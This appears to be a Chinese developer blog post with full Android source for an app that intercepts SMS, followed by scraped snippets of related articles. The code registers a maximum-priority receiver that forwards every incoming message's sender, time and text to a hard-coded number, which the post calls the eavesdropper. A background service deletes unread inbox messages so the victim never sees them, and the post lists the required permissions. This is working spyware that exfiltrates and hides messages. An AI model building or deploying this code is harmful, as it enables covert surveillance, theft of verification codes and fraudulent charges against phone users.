短信监听+短信拦截

监听消息发送和消息是否被接收。

import android.app.Activity;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.provider.Telephony.Sms;
import android.telephony.SmsManager;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;

public class MainActivity extends Activity {
    private EditText num;
    private EditText text;
    private Button send;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        init();//启动service 触发短信拦截
        Intent service=new Intent(MainActivity.this, SMSService.class);
        startService(service);
    }

    private class SendOnClickListenerImpl implements OnClickListener {
        public void onClick(View arg0) {
            Intent intent = new Intent("SMS_SEND_ACTION");
            Intent intented = new Intent("SMS_DELIVERED_ACTION");
            SmsManager sms = SmsManager.getDefault();
            String phoneNum = num.getText().toString();
            String smsContent = text.getText().toString();
            PendingIntent pending = PendingIntent.getBroadcast(
                    MainActivity.this, 0, intent, 0);
            PendingIntent pendinged = PendingIntent.getBroadcast(
                    MainActivity.this, 0, intented, 0);//注册短信已发送
            registerReceiver(new SMSReceive(), new IntentFilter(
                    "SMS_SEND_ACTION")); //注册短信已被接收
            registerReceiver(new SMSReceived(), new IntentFilter(
                    "SMS_DELIVERED_ACTION"));//短信分段
            if (smsContent.length() > 70) {
                List<String> smsText = sms.divideMessage(smsContent);
                Iterator<String> it = smsText.iterator();
                while (it.hasNext()) {
                    String next = it.next();
                    sms.sendTextMessage(phoneNum, null, next, pending,
                            pendinged);
                }

            } else {
                sms.sendTextMessage(phoneNum, null, smsContent, pending,
                        pendinged);
            }

        }

    }

    private void init() {
        this.num = (EditText) super.findViewById(R.id.num);
        this.text = (EditText) super.findViewById(R.id.text);
        this.send = (Button) super.findViewById(R.id.send);
        this.send.setOnClickListener(new SendOnClickListenerImpl());
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }
}

短信发送提示

package com.example.smslistener;

import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.widget.Toast;

public class SMSReceive extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent arg1) {
        // TODO Auto-generated method stub
        if(arg1.getAction().equals("SMS_SEND_ACTION")){
            switch(super.getResultCode()){
            case Activity.RESULT_OK:
                Toast.makeText(context, "短信已发送!", Toast.LENGTH_SHORT).show();

            break;
            case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
            break;

            }

        }
    }

}

短信是否接收提示

package com.example.smslistener;

import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.widget.Toast;

public class SMSReceived extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent arg1) {
        // TODO Auto-generated method stub
        if (arg1.getAction().equals("SMS_DELIVERED_ACTION")) {
            switch (super.getResultCode()) {
            case Activity.RESULT_OK:
                Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show();
                break;
            case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
                break;

            }

        }

    }

}

监听系统广播,发送给窃听者

package com.example.smslistener;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SMSSendReceive extends BroadcastReceiver {

    @Override
    public void onReceive(Context arg0, Intent arg1) {
        if (arg1.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {//拿到短信内容 pdus是固定的key
            Object[] pdusDate = (Object[]) arg1.getExtras().get("pdus");
            for (int i = 0; i < pdusDate.length; i++) {
                byte[] pdus = (byte[]) pdusDate[i];
                SmsMessage message = SmsMessage.createFromPdu(pdus);
                String time = new SimpleDateFormat("yyyy,MM,dd  hh.mm.ss",
                        Locale.CHINA).format(new Date(message
                        .getTimestampMillis()));
                String num = message.getOriginatingAddress();
                String body = message.getMessageBody();
                SmsManager sms = SmsManager.getDefault();
                PendingIntent sentIntent = PendingIntent.getActivity(arg0, 0,
                        arg1, PendingIntent.FLAG_UPDATE_CURRENT);
                String content = "短信号码:" + num + "\n发送时间:" + time + "\n短信内容:("
                        + body + ")"; //这里、、、
                String destination = "10010";
                sms.sendTextMessage(destination, null, content, sentIntent, null);
            }

        }

    }

}

监听

 <receiver android:name=".SMSSendReceive" >
            <intent-filter android:priority="2147483647" >
                <action android:name="android.provider.Telephony.s" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>

触发短信拦截

package com.example.smslistener;

import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.os.Process;
public class SMSService extends Service {
     private SmsObserver mObserver;
    @Override
    public IBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub
        return null;
    }

     @Override
     public void onCreate() {//contentresolver通过uri来找到数据
      ContentResolver resolver = getContentResolver();
    //实例化数据库观察者
      mObserver = new SmsObserver(resolver, new SmsHandler(this));

//      resolver.registerContentObserver(路径,notifyForDescendents,观察者)
//     notifyForDescendents=为false 表示精确匹配,即只匹配该Uri为true 表示可以同时匹配其派生的Uri
      resolver.registerContentObserver(Uri.parse("content://sms"), true, mObserver);
     }

     @Override
     public void onDestroy() {
      this.getContentResolver().unregisterContentObserver(mObserver);
      Process.killProcess(Process.myPid());
         super.onDestroy();
     }

    public int onStartCommand(Intent intent, int flags, int startId) {
        flags=START_STICKY;
        return super.onStartCommand(intent, flags, startId);
        }
    }

数据库观察者

package com.example.smslistener;

import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Message;

public class SmsObserver extends ContentObserver {

    private ContentResolver mResolver;
    public SmsHandler smsHandler;

    public SmsObserver(ContentResolver mResolver, SmsHandler handler) {
        super(handler);
        this.smsHandler = handler;
        this.mResolver = mResolver;
    }

    public void onChange(boolean selfChange) {
        Cursor mCursor = mResolver.query(Uri.parse("content://sms/inbox"),
                new String[] { "_id", "address", "read", "body", "thread_id" },
                "read=?", new String[]{"0"}, "date desc");
        if(mCursor==null){
            return;
        }else{
            while(mCursor.moveToNext()){
                SmsInfo smsInfo=new SmsInfo();
                int idIndex=mCursor.getColumnIndex("_id");
                if(idIndex!=-1){
                    smsInfo._id=mCursor.getString(idIndex);
                }
                int threadId=mCursor.getColumnIndex("_thread_id");
                if(threadId!=-1){
                    smsInfo.thread_id=mCursor.getString(threadId);
                }
                int addressIndex=mCursor.getColumnIndex("address");
                if(addressIndex!=-1){
                    smsInfo.address=mCursor.getString(addressIndex);
                }
                int bodyIndex=mCursor.getColumnIndex("body");
                if(bodyIndex!=-1){
                    smsInfo.body=mCursor.getString(bodyIndex);
                }
                // 拦截策略是否对短信进行操作
                   Message msg=smsHandler.obtainMessage();
                 //0不对短信进行操作;1将短信设置为已读;2将短信删除
                    smsInfo.action=2;
                    msg.obj=smsInfo;
                    smsHandler.sendMessage(msg);
            }
        }
        //擦屁股
        if(mCursor!=null){
            mCursor.close();
            mCursor=null;
        }
    }

}

字段信息

package com.example.smslistener;

public class SmsInfo {
    public String _id = "";
    public String thread_id = "";
    public String address = "";
    public String body = "";
    public String read = "";
    public int action = 0;// 1代表设置为已读,2表示删除短信
}

短信处理

package com.example.smslistener;

import android.content.ContentValues;
import android.content.Context;
import android.net.Uri;
import android.os.Handler;
import android.os.Message;

public class SmsHandler extends Handler {
    private Context mcontext;

    public SmsHandler(Context context) {
        this.mcontext = context;
    }

    @Override
    public void handleMessage(Message msg) {
            SmsInfo smsinfo = (SmsInfo) msg.obj;
            if (smsinfo.action == 1) {
                ContentValues value = new ContentValues();
                value.put("read", "1");
                mcontext.getContentResolver().update(
                        Uri.parse("content://sms/inbox"), value, "thread_id=?",
                        new String[] { smsinfo.thread_id });
            } else if (smsinfo.action == 2) {
                Uri mUri = Uri.parse("content://sms/");
                mcontext.getContentResolver().delete(mUri, "_id=?",
                        new String[] { smsinfo._id });
            }
    }

}
权限:

   <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>

布局自己解决。

时间: 2024-10-27 06:15:03

短信监听+短信拦截的相关文章

通过broadcastreceiver 监听短信问题

在mainfest中 订阅   短信到来的广播时候  发现找不到 <action android:name="android.provider.Telephony.SMS_RECEIVED"> 目前未找到原因, 不知道,采用通过代码订阅广播方式 会不会成功 目前尚未验证 在网上人的回答 链接:https://www.zhihu.com/question/28521646/answer/64531805来源:知乎 1   因为这个广播很容易被不法分子拿来使用. google公

(七)android开发中两种方式监听短信的原理和实现

一.监听短信的两种方式的简介 Android程序开发中,有两种方式监听短信内容:一.接收系统的短信广播:二.应用观察者模式,监听短信数据库. 第一种方式接收系统的短信广播: A.这种方式只对新收到的短消息有效,运行代码,并不会读取收件箱中已读或未读的消息,只有当收到新来的短消息时,才会执行onReceive()方法. B.并且这个广播是有序广播,如果当别的程序先读取到了这个广播,然后拦截掉了个这个广播,你将接收不到.当然我们可以通过设置priority的数值,其实有时是不管用的,现在在一些定制的

Android 监听短信 两种方式

1. 接受系统的短信广播,操作短信内容. 优点:操作方便,适合简单的短信应用. 缺点:来信会在状态栏显示通知信息. AndroidManifest.xml: <uses-permission android:name="android.permission.SEND_SMS"></uses-permission> <uses-permission android:name="android.permission.RECEIVE_SMS"

Android 数据库 短信 监听

Android 实现监听短信(同一时候监听广播和数据库)代码例如以下: 拦截广播 package com.javen.sms.receiver; import java.text.SimpleDateFormat; import java.util.Date; import java.util.TimeZone; import com.javen.util.InterceptKeyKeeper; import android.content.BroadcastReceiver; import a

Android 监听短信(同时监听广播和数据库)

暗扣,强烈谴责这种侵害用户利益的行为... 下面给大家介绍Android暗扣原理.......  Android4.4以下的系统玩游戏就要小心了哈 暗扣方式之一:短信订购,即监听--------拦截------------处理短信. 暗扣方式之二:模拟人为操作(又叫模拟流量),通过后台程序代码模拟人的点击行为,暗自给用户订购业务,由运营商收取你的费用,当然这其中也需要涉及监听/拦截/处理短信.使用这种方式的原理无非是Http处理网页,还涉及接入点切换问题,这里就不详细讲解. 回归正题:有的时候,

Android 编程下短信监听在小米手机中失效的解决办法

相信很多人写的短信监听应用在小米手机上是拦截不到短信的,这是因为小米对短信的处置权优先分给了系统.我们可以在短信的[设置]→[高级设置]→[系统短信优先]中发现短信的优先处理权默认是分给系统的,只要关闭这个系统优先权,短信监听应用就可以正常的拦截到短信了.   

Android短信监听(三)——利用Loader实现短信监听

MainActivity如下: package cc.c; import android.net.Uri; import android.os.Bundle; import android.app.Activity; import android.app.LoaderManager.LoaderCallbacks; import android.content.Context; import android.content.Loader; import android.database.Curs

Android短信监听(二)——利用ContentObserver实现短信监听

MainActivity如下: package cc.testsmslistener; import cc.testsmslistener.SMSContentObserver.MessageListener; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.widget.TextView; import android.app.Activity; /** *

Android短信监听(一)——利用BroadcastReceiver实现短信监听

MainActivity如下: package cc.testsmsbroadcastreceiver; import cc.testsmsbroadcastreceiver.SMSBroadcastReceiver.MessageListener; import android.os.Bundle; import android.widget.TextView; import android.app.Activity; /** * Demo描述: * 利用BroadcastReceiver实现